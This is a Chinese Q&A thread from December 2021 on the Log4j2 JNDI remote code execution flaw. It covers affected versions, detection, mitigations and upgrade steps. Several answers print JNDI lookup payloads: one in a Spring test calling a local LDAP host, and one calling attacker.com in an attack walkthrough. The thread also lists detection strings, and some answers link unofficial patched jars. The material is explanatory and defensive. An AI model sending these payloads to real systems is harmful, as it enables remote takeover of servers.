      </exclusions>
    </dependency>

6、测试验证

@RunWith(SpringRunner.class)
@SpringBootTest
@Log4j2
public class SpringTests {
 
    @Test
    public void test(){
        log.error("${jndi:ldap://127.0.0.1:1389/#Exploit}");
        log.error("${}","jndi:ldap://127.0.0.1:1389/#Exploit");
    }
}

漏洞参考：突发，Log4j2 爆出远程代码执行漏洞，各大厂纷纷中招！

来源：http://blog.csdn.net/weixin_48990070/article/details/121861553

推荐阅读

如有错误或其它问题，欢迎小伙伴留言评论、指正。如有帮助，欢迎点赞 + 转发分享。
更多相关开源技术文章，请持续关注：民工哥知乎技术专栏

知乎用户飞一站发表

Apache Log4j2 远程代码执行漏洞修复步骤

漏洞说明

参考链接：Apache Log4j2 远程代码执行漏洞分析 - 安全客，安全资讯平台

漏洞适用版本为 2.0 <= Apache log4j2 <= 2.14.1，只需检测 Java 应用是否引入 log4j-api , log4j-core 两个 jar。若存在应用使用，极大可能会受到影响。

修复步骤

1、下载源码 zip 包到本地

下载地址:log4j-2.15.0-rc2

2、解压到本地

![](data:image/svg+xml;utf8,)

3、用 IDEA 打开项目

![](data:image/svg+xml;utf8,)

4、执行 Maven Deploy，将 log4j2 修复的版本包安装到 Nexus

1、修改toolchains-sample-win.xml文件的 JDK 安装路径：

<toolchain>
    <type>jdk</type>
    <provides>
      <version>1.8</version>
      <vendor>sun</vendor>
    </provides>
    <configuration>
      <jdkHome>C:\\\\Program Files\\\\Java\\\\jdk1.8.0\_202</jdkHome>
    </configuration>
  </toolchain>
  <toolchain>
    <type>jdk</type>
    <provides>
      <version>9</version>
      <vendor>sun</vendor>
    </provides>
    <configuration>
      <jdkHome>C:\\\\Program Files\\\\Java\\\\jdk-9.0.4</jdkHome>
    </configuration>
  </toolchain>

2、执行 Maven 命令 mvn clean install -t ./toolchains-sample-win.xml -Dmaven.test.skip=true -f pom.xml
3、将生成安装在本地 Jar 包，安装到 Nexus

注意事项：

1、确保本地当前 Java 的环境为 Java8，如果本地有个 Java 环境，请先修改 Java 环境为 Java8，再重启 IDEA。
2、确保本地有 JDK9 的环境
3、建议跳过test步骤，否则安装的时间太长了

5、修改项目中的 pom.xml

排除掉通过其他依赖方式引入的 log4j 相关的包
手动引入前面安装的 log4j 包

<dependency>
      <groupId>org.apache.logging.log4j</groupId>
      <artifactId>log4j-slf4j-impl</artifactId>
      <version>2.15.0</version>
      <scope>compile</scope>
      <exclusions>
        <exclusion>
          <artifactId>log4j-api</artifactId>
          <groupId>org.apache.logging.log4j</groupId>
        </exclusion>
        <exclusion>
          <artifactId>log4j-core</artifactId>
          <groupId>org.apache.logging.log4j</groupId>
        </exclusion>
      </exclusions>
    </dependency>

    <dependency>
      <groupId>org.apache.logging.log4j</groupId>
      <artifactId>log4j-api</artifactId>
      <version>2.15.0</version>
      <scope>compile</scope>
    </dependency>


    <dependency>
      <groupId>org.apache.logging.log4j</groupId>
      <artifactId>log4j-core</artifactId>
      <version>2.15.0</version>
      <scope>compile</scope>
      <exclusions>
        <exclusion>
          <artifactId>log4j-api</artifactId>
          <groupId>org.apache.logging.log4j</groupId>
        </exclusion>
      </exclusions>
    </dependency>

6、测试验证

@RunWith(SpringRunner.class)
@SpringBootTest
@Log4j2
public class SpringTests {

    @Test
    public void test(){
        log.error("${jndi:ldap://127.0.0.1:1389/#Exploit}");
        log.error("${}","jndi:ldap://127.0.0.1:1389/#Exploit");
    }


}

知乎用户终端研发部发表

刚刚，针对以这个问题，我写了一篇关于我的看法：

于哥你好，关于网传的 Log4j2 爆 “核弹级…

在开发的时候，使用一些第三方开源的框架和服务，没有绝对可信、完全不出问题的开源，我们能做的就是时经常多留一个心思，尽量针对一些服务的不稳定去设计些熔断，或者是其他的降级保护措施，给自己留一个后路吧

知乎用户 ltye 发表

看来大佬们都在忙着加班没空来回答啊～手动狗头

1. 史诗级漏洞。相比 fastjson 漏洞利用简单且组件使用范围及其广泛。你以为我 pom.xml 里找不到风险版本就可以高枕无忧了么？各种封装和依赖都有可能涉及，甚至各种基础软件比如 flink 等都有涉及。

2. 让子弹再飞一会。我建议利益相关的各位，不要马上打补丁。rc1 当晚已被师傅绕过，第二天 rc2 已被绕过。当然据说 rc1 改了 lookup 的默认配置可以降低风险，我还没有验证过。而且这么广泛而基础的组件，升级版本务必小心，我甚至在群里还见过有 1.25 想升上去的。。。估计真把任务发下去会被开发拉出来打死。做安全务必务必注意业务可用性是优先级最高的，先确认影响范围，采取临时措施，充分测试后再升级。如果风险可控以及安全 kpi 可接受最好能等到正式版再说，从 commit log 来看 rc 版还是非常匆忙的，评论区氛围并不太好。另外某回答里居然提供私人上传的补丁。。。不论动机是否友善，这种行为不太好，还是鼓励从官方途径及正规安全厂商获取，毕竟有太多前车之鉴。

3. 网上满天飞的各种响应措施，包括各大厂发布的，不要盲目相信，有条件务必翻翻官方文档，测试好效果。已知修改环境变量那条是无效的，请参考截图

事发突然，为了优先响应都是熬夜赶出来的，事件也在不断发酵，整改方法有瑕疵也能理解。

4. 反思下 log4j 这个 lookup 的 feature，我站在业务人员的视角实在想不出有什么必要性，这种骚操作更像是开发者给自己留的后门。可以看出来即使是这个 apache 级的项目应用安全评估也是不够严谨。翻了翻 commit log，这个库社区支持确实也非常一般。官方文档也很诡异的这两天把某些配置给删除了，我看不懂维护者的操作，希望是我小人了，唉。

5. 不要以为 fw ips waf 之类的设备把规则配上就可以解决问题，也不要相信所谓虚拟补丁。。。理论上只有 rasp 具备完整防范的能力，流量层的防护很容易被各种编码和拼接绕过，毕竟日志的写法里各种拼接组装不要太容易。也就是说这个洞会在很长的一段时间里给各位师傅们带来很多欢乐。

知乎用户编程技术指南发表

这个 BUG 太严重了，十多个小时前，互联网上曝出了 Apache Log4j2 中的远程代码执行漏洞，攻击者可利用此漏洞构造特殊的数据请求包，最终触发远程代码执行。

要知道，绝大部分的 Java 应用用的都是 Log4j 的包记录日志，而很多互联网公司用的是 Log4j2，据 “白帽” 分析确认，几乎所有技术巨头如百度等都是该 Log4j 远程代码执行漏洞的受害者。

漏洞原理官方表述是：Apache Log4j2 中存在 JNDI 注入漏洞，当程序将用户输入的数据进行日志记录时，即可触发此漏洞，成功利用此漏洞可以在目标服务器上执行任意代码。

通俗简单的说就是：在打印日志的时候，如果你的日志内容中包含关键词 ${，攻击者就能将关键字所包含的内容当作变量来替换成任何攻击命令，并且执行。

由于 Apache Log4j2 的某些函数具有递归分析函数，因此攻击者可以直接构造恶意请求来触发远程代码执行漏洞。

Apache Log4j2

Apache Log4j2 是一款开源的 Java 日志记录工具，大量的业务框架都使用了该组件。此次漏洞是用于 Log4j2 提供的 lookup 功能造成的，该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中，并未对输入进行严格的判断，从而造成漏洞的发生。

漏洞检测方案

1、通过流量监测设备监控是否有相关 DNSLog 域名的请求

2、通过监测相关日志中是否存在 “jndi:ldap://”、“jndi:rmi” 等字符来发现可能的攻击行为。

漏洞详情：

Apache Log4j 远程代码执行漏洞严重程度: 严重由于 Apache Log4j2 某些功能存在递归解析功能，攻击者可直接构造恶意请求，触发远程代码执行漏洞。漏洞利用无需特殊配置**漏洞情况分析：**Apache Log4j 是一个基于 Java 的日志记录组件。Apache Log4j2 是 Log4j 的升级版本，通过重写 Log4j 引入了丰富的功能特性。该日志组件被广泛应用于业务系统开发，用以记录程序输入输出日志信息。2021 年 11 月 24 日，阿里云安全团队向 Apache 官方报告了 Apache Log4j2 远程代码执行漏洞。由于 Log4j2 组件在处理程序日志记录时存在 JNDI 注入缺陷，未经授权的攻击者利用该漏洞，可向目标服务器发送精心构造的恶意数据，触发 Log4j2 组件解析缺陷，实现目标服务器的任意代码执行，获得目标服务器权限。

漏洞编号：暂缺漏洞

**等级：**高危，该漏洞影响范围极广，危害极大。

**CVSS 评分：**10（最高级）漏洞状态：

**受影响的版本：**Apache log4j2 2.0 - 2.14.1 版本均受影响。

**安全版本：**Apache log4j-2.15.0-rc2

易受攻击代码示例：

import org.apache.log4j.Logger;
import java.io.\*;
import java.sql.SQLException;
import java.util.\*;
public class VulnerableLog4jExampleHandler implements HttpHandler {
  static Logger log = Logger.getLogger(log4jExample.class.getName());
  /\*\*
   \* A simple HTTP endpoint that reads the request's User Agent and logs it back.
   \* This is basically pseudo-code to explain the vulnerability, and not a full example.
   \* @param he HTTP Request Object
   \*/
  public void handle(HttpExchange he) throws IOException {
    string userAgent = he.getRequestHeader("user-agent");
    
    // This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
    // The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
    log.info("Request User Agent:" + userAgent);
    String response = "<h1>Hello There, " + userAgent + "!</h1>";
    he.sendResponseHeaders(200, response.length());
    OutputStream os = he.getResponseBody();
    os.write(response.getBytes());
    os.close();
  }
}

漏洞修复方案：

Apache 官方已发布补丁，建议受影响的用户尽快升级到安全版本。

补丁下载地址：https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

漏洞缓解措施：

（1）jvm 参数 -Dlog4j2.formatMsgNoLookups=true

（2）log4j2.formatMsgNoLookups=True

（3）将系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true

因该组件使用极为广泛，利用门槛很低，危害极大，建议所有用户尽快升级到安全版本。

请联系厂商获取修复后的官方版本：

https://github.com/apache/logging-log4j2

目前最新版本 2.15.0

现在网上公开的仓库还下载不到解决漏洞的 Log4j2 2.15.0 版本，需要自己编译源码获取 Jar 包，我这里有一份，漏洞高危，建议紧急替换： Log4j2 2.15.0 jar 包下载：

下载包

在官方没有更新前，可以做的事情：

1、排查应用是否引入了 Apache log4j-core Jar 包，若存在依赖引入，且在受影响版本范围内，则可能存在漏洞影响。请尽快升级 Apache Log4j2 所有相关应用到最新的 log4j-2.15.0-rc2 版本，地址 https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

2、升级已知受影响的应用及组件，如 spring-boot-starter-log4j2/Apache Struts2/Apache Solr/Apache Druid/Apache Flink

3、可升级 jdk 版本至 6u211 / 7u201 / 8u191 / 11.0.1 以上，可以在一定程度上限制 JNDI 等漏洞利用方式。

知乎用户暴躁乐谷发表

甲方漏洞挖掘领域难得的正能量，提高企业安全行业意识的还是得靠这种应急事件。2021 年来的和平，很多人谈企业安全实际在谈合规。

知乎用户丁长老发表

呃，看了一圈，大家写东西能不能专业点，把 log4j2 和 log4j 分分开。

知乎用户匿名用户发表

《论 java 如何从编译型语言变成解释型语言》

《论如何在 10 年内持续迭代维护一个只用得到 5 个方法的项目》

《论开源软件 kpi 化》

《语文作业：(扩写) 将 system.out.println 扩写成 15 万行》

《论做安全的不会写代码，写代码的懒得做安全》

知乎用户临川发表

在 12 月 9 日晚间出现了 Apache Log4j2 远程代码执行漏洞攻击代码。该漏洞利用无需特殊配置，经多方验证，Apache Struts2、Apache Solr、Apache Druid、Apache Flink 等均受影响。Apache Log4j2 是一款流行的 Java 日志框架，建议广大交易所、钱包、DeFi 项目方抓紧自查是否受漏洞影响，并尽快升级新版本。

当然，这也影响了以 JAVA 为主的 minecraft 服务器运行，关于这个问题较好的解释以及修复办法可在下方链接获得答案

关于 Minecraft 的 Log4j 2 所导致的服务器入侵风险及解决办法 - 社区公告 - Minecraft(我的世界) 玖视星域 -

知乎用户本质不是摸鱼发表

快过年了，不要再‮什论讨‬么 log4j、cs、bypass、流量检测‮类之‬的了。你带‮脑电破的你‬回到家‮不并‬能给你‮何任来带‬实质性作用，‮们友朋‬兜里掏出一‮吃钱把大‬喝玩乐，‮默你‬默的在‮里家‬摆弄你的破烂 rce。亲戚‮问饭吃友朋‬你收获了什么，你说我装‮拟虚个了‬机，把各‮工个‬具都玩了一遍，亲戚们懵逼了，你还在‮里心‬默默嘲笑他们，笑他们不懂‮的你‬自动注入，不懂‮的你‬ 10 层代理、‮的你懂不‬流量混淆，也笑他‮个连们‬复杂点的密‮记都码‬不住。你父‮都事同的母‬在说自己的‮女子‬一年的收获，儿子买了‮房个‬，女儿买了个车，姑娘升职‮了薪加‬，你的父‮默母‬默无言，说我的‮子儿‬搞了个破电脑，开起‮嗡来‬嗡响、家里‮表电‬走得越‮了快越来‬。

知乎用户前端实验室发表

可怜的百度…

Apache Log4j2

Apache Log4j2 最初是由 Ceki Gülcü 编写，是 Apache 软件基金会 Apache 日志服务项目的一部分。Log4j 是几种 Java 日志框架之一。而 Apache Log4j2 是对 Log4j 的升级，相比其前身 Log4j1 有了更显著的改进，同时修复了 Logback 架构中的一些固有问题。

通过 Apache Log4j2 框架，开发者可通过定义每一条日志信息的级别，来控制日志生成过程。

目前该日志框架已被广泛用于业务系统开发，用来记录日志信息。大多数情况下，开发者可能会将用户输入导致的错误信息写入日志中。

漏洞描述

受影响版本：

Apache Log4j 2.x <= 2.14.1

已知受影响的应用程序和组件：

srping-boot-strater-log4j2
Apache Solr
Apache Flink
Apache Druid

解决方案

临时修复建议：

JVM 参数添加 -Dlog4j2.formatMsgNoLookups=true
log4j2.formatMsgNoLookups=True
FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true

更新：

据 Apache 官方最新信息显示，release 页面上已经更新了 Log4j 2.15.0 版本：

由于正式发布工作正在进行中，因此对外暂时还无法看到 2.15 版本。

据 Apache 方面人士透露，目前 Maven Central 上仍有 0 个工件，可能需要几个小时后才能同步镜像服务器并正式对外采用。更多后续，我们持续关注。

结论：PHP 是世界上最好的语言！

知乎用户泡椒学 Java 发表

log4j2 的风波还在继续，事情还没有结束，因为上周爆出来的核弹级 bug，这周 log4j 团队指定是加班加点，短短一周时间，已经连推了两个大版本来修复此漏洞，短短一周就快赶上一年的产量了，哈哈。

更新内容

默认禁用 JNDI；需要log4j2.enableJndi设置为true以允许 JNDI
完全删除对 Message Lookups 的支持。进一步强化防御

更多细节请查看官网：

官网

更新升级说明

Java 8 之后的版本，强烈建议升级至2.16.0
Java 7 的版本，建议升级到2.12.2；2.13.0 之后最小支持 Java 8

SpringBoot 升级

一行配置，轻松升级最新版，就是换一下版本号

<log4j2.version>2.16.0</log4j2.version>

Apache 受影响项目

Apache 自身项目也难逃魔抓，Apache 安全团队也公布了受 log4j CVE-2021-44228 影响的 Apache 项目，可通过下表进行排查，并参考解决方案进行版本更新；

风波还在继续，让我们持续关注一下吧，估计 2.16.0 应该是比较稳定的版本了，你是否会考虑升级到该版本呢？

另外，网络安全问题却对不容小视，知彼知己方能百战百胜，有兴趣的同学可以学习一下阿里知名白帽子道哥编写的《白帽子讲 Web 安全》。

学习一下网络安全知识吧

知乎用户呵呵哒发表

复制粘贴有啥用？

某安全公司发布的紧急修复办法

本地稳定复现部分机器无效（2 台 win 1 台 centos7）

如果你使用上面修复办法无效

根据他的思路，要禁用 lookup

只需要修改你的 log4j2.xml 文件

将

%msg

%massage

修改成

%message{nolookups}

%msg{nolookups}

%m{nolookups}

log4j 官网

这样会导致, 你日志中所有的 ${} 中的信息都会原样输出。

这次漏洞很恐怖，服务权限如果裸奔的话，基本上可以接管这个服务器了。

poc 就不发了怕被抓

2021 年 12 月 13 日 11:58:39 补充下

下班前在补充下吧 2021 年 12 月 13 日 16:34:31

jvm 参数修改不被推荐了。

2.9.1 以后的版本才适用于各种云说的那个三个配置，加 properties 文件，加 jvm 启动参数，加环境变量。

之前的版本是不适用的。如果不想升版本，或者不能升版本。因为 log4j2 跨了三个版本 jdk 6 7 8 。就参照上面改 xml 文件

Log4j 2.4 and greater requires Java 7, versions 2.0-alpha1 to 2.3 required Java 6. Some features require optional dependencies; the documentation for these features specifies the dependencies.

且，暂时没找到从什么版本开始用 8 编译的的

找到了

 As of version 2.9.1 Log4j supports Java 9 but will still work in Java 7 or 8. In this version log4j-api is packaged as a multi-release jar and supports the use of the StackWalker and Process APIs.

As of version 2.4, Log4J requires Java 7.

Log4j version 2.3 and older require Java 6.

这个可以参考

Log4j 2.13.0 and greater require Java 8. Version 2.4 through 2.12.1 required Java 7 (the Log4j team no longer supports Java 7). Some features require optional dependencies; the documentation for these features will specify the required dependencies.

三个大版本的所有解决方案有了

2021 年 12 月 14 日 09:06:40

说下解决方案的时间线。

12 月 9 号早上 9 点，通知下属外包公司进行漏洞排查，按照主流的解决方案解决，公司禁止翻墙，找不到 poc，开始糊 poc。
下午 3 点糊好 poc。整体测试，2 台 win，和 1 台 centos7 失效。
先向国家互联网安全中心汇报此次漏洞给出处置方案有问题。然后开始寻找解决方案。在 log4g2 官方找 lookups 的相关文档。
下午 4 点，根据 log4j2 提供 lookups 的文档中找到了相关配置。遂通知下属外包公司。
下午 5 点，所有机器除了 3 个公共的处置方案都配置以外，另外加了我从官方找的配置。
5 点半测试全部通过。

直到 12 月 12 日。log4j2 官网给出全版本的正式处置方案，大厂才开始陆续加入了根据 log4j2 版本不同修复方案也不同的策略。

说实话，就这速度？不知道是真菜还是假菜。

库都可能被脱了还在沾沾自喜。

若干个月后，你们的个人信息又被卖来卖去。

说实话现在的安全公司是挺菜的。

知乎用户 void 发表

很古老的记忆了，曾几何时，为了记日志，jdk 自带的 logger 不用，非得另起炉灶搞 log4j，搞得四分五裂，再弄个 slf4j 包裹，java 的世界就喜欢弄这些 p 用没有的轮子。

什么 jndi 之类的所谓 “企业级” 的 trash，谁用谁等着吃瘪。

越复杂的东西，潜在漏洞越多。

btw，那时候我用 jdk logger。

知乎用户鑫 2050 发表

log4j 一个写日志的库，不好好写日志，非要远程执行代码。

简单说类似于登录框中的 sql 注入攻击。

这个库十几万代码，上万次提交。。。

知乎用户游云 968 发表

这件事大概是什么意思呢？由于有非开发人员所以这里简单解释下，打个比方哈，比如说你想盖房子，用了大家都在用的砖，房子盖好了，然后呢，突然有一天有人敲了这砖几下，你猜怎么着？砖裂了！此时还要门有何用？直接敲开一扇窗，推窗就进呀，这房子是你盖的不假，但这这房子还是你的房子了么？不一定！这也就是为什么大家大半夜被叫起来修复程序的原因了，家里漏风，当然要补了，不然你在房间吃着火锅，唱着歌，突然就被偷了咋办？至于影响嘛，这个还不好说，各个用了这个砖头的大户们还没发声，但是有一点是可以肯定的，用的人肯定不少。
好了，以下问正文
在 log4j 官方安全记录中是这样说的，（为方便大家阅读，这里使用浏览器翻译成了中文，可能存在语法错误，英文好的移步下一张图片）

英文原版：

此次情况影响面非常之大。
**等级：**严重。
**CVSS 评分：**10（最高级）漏洞状态：

**受影响的版本：**Apache log4j2 2.0 - 2.14.1 版本均受影响。
**安全版本：**Apache log4j-2.15.0-rc2
解决方案：
临时解决方案

设置 jvm 参数 “-Dlog4j2.formatMsgNoLookups=true”
设置 “log4j2.formatMsgNoLookups=True”
系统环境变量 “FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS” 设置为“true”
关闭对应应用的网络外连，禁止主动外连

当然，目前为止，官方已经发布最近版本的 jar 包，连接为：
log4j 最新版 log4j-2.15.0-rc2 连接，需要的同学请自行下载，由于 github 网络不是很稳定如果无法下载的话，我这里已经下好了，可以直接拿走如下。
点击获取

同时，log4j 做为被广泛应用的第三方 jar 包，被大量应用于 java 框架及程序开发中，基本上只要用到 log4j 进行输出日志即可能会被不法分子进行攻击，从而受到影响，同时，该漏洞也同时影响着全球大量公用组件，可能包括但不限于：
ElasticSearch
Redis
logstash
Apache Flink
Apache Flume
Apache Dubbo
Apache Kafka
。。。
希望各位开发者进行快速升级以避免不必要的损失。
最后，祝一切顺利！

发布于 2021-12-10 23:57

知乎用户向磊发表

影响就是大家都没法睡觉了，都在加班加点评估统计修复。

这个漏洞挺大，也是相当危险，不过我们在网络层面控制的还行，基本没有服务会暴露在公网上，所以评估以后可以有时间可以慢慢修。

另外，不建议从非官方渠道下载 jar 包进行替换修复，这比挂着漏洞运行还危险。

知乎用户程序员小白发表

Apache Log4j2

由于 Apache Log4j2 的某些函数具有递归分析函数，因此攻击者可以直接构造恶意请求来触发远程代码执行漏洞。

漏洞适用版本为 2.0 <= Apache log4j2 <= 2.14.1，只需检测 Java 应用是否引入 log4j-api, log4j-core 两个 jar。若存在应用使用，极大可能会受到影响。

漏洞检测方案

1、通过流量监测设备监控是否有相关 DNSLog 域名的请求

2、通过监测相关日志中是否存在 “jndi:ldap://”、“jndi:rmi” 等字符来发现可能的攻击行为。

易受攻击代码示例：

import org.apache.log4j.Logger;
import java.io.\*;
import java.sql.SQLException;
import java.util.\*;
public class VulnerableLog4jExampleHandler implements HttpHandler {
  static Logger log = Logger.getLogger(log4jExample.class.getName());
  /\*\*
   \* A simple HTTP endpoint that reads the request's User Agent and logs it back.
   \* This is basically pseudo-code to explain the vulnerability, and not a full example.
   \* @param he HTTP Request Object
   \*/
  public void handle(HttpExchange he) throws IOException {
    string userAgent = he.getRequestHeader("user-agent");
    
    // This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
    // The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
    log.info("Request User Agent:" + userAgent);
    String response = "<h1>Hello There, " + userAgent + "!</h1>";
    he.sendResponseHeaders(200, response.length());
    OutputStream os = he.getResponseBody();
    os.write(response.getBytes());
    os.close();
  }
}

根据上面提供的攻击代码，攻击者可以通过 JNDI 来执行 LDAP 协议来注入一些非法的可执行代码。

攻击步骤

攻击者向漏洞服务器发起攻击请求。
服务器通过 Log4j2 记录攻击请求中包含的基于 JNDI 和 LDAP 的恶意负载${jndi:ldap://attacker.com/a}，attacker.com是攻击者控制的地址。
记录的恶意负载被触发，服务器通过 JNDI 向attacker.com请求。
attacker.com就可以在响应中添加一些恶意的可执行脚本，注入到服务器进程中，例如可执行的字节码http://second-stage.attacker.com/Exploit.class。
攻击者执行恶意脚本。

漏洞修复方案：

Apache 官方已发布补丁，建议受影响的用户尽快升级到安全版本。

目前最新版本 2.15.0

现在网上公开的仓库还下载不到解决漏洞的 Log4j2 2.15.0 版本，需要自己编译源码获取 Jar 包，我这里有一份，漏洞高危，建议紧急替换：

Log4j2 2.15.0 jar 包下载：

http://note.youdao.com/noteshare?id=296d46405786700a70eb66dfa81bcc38&sub=0CA814D7132E4535A5F45258AB2160E0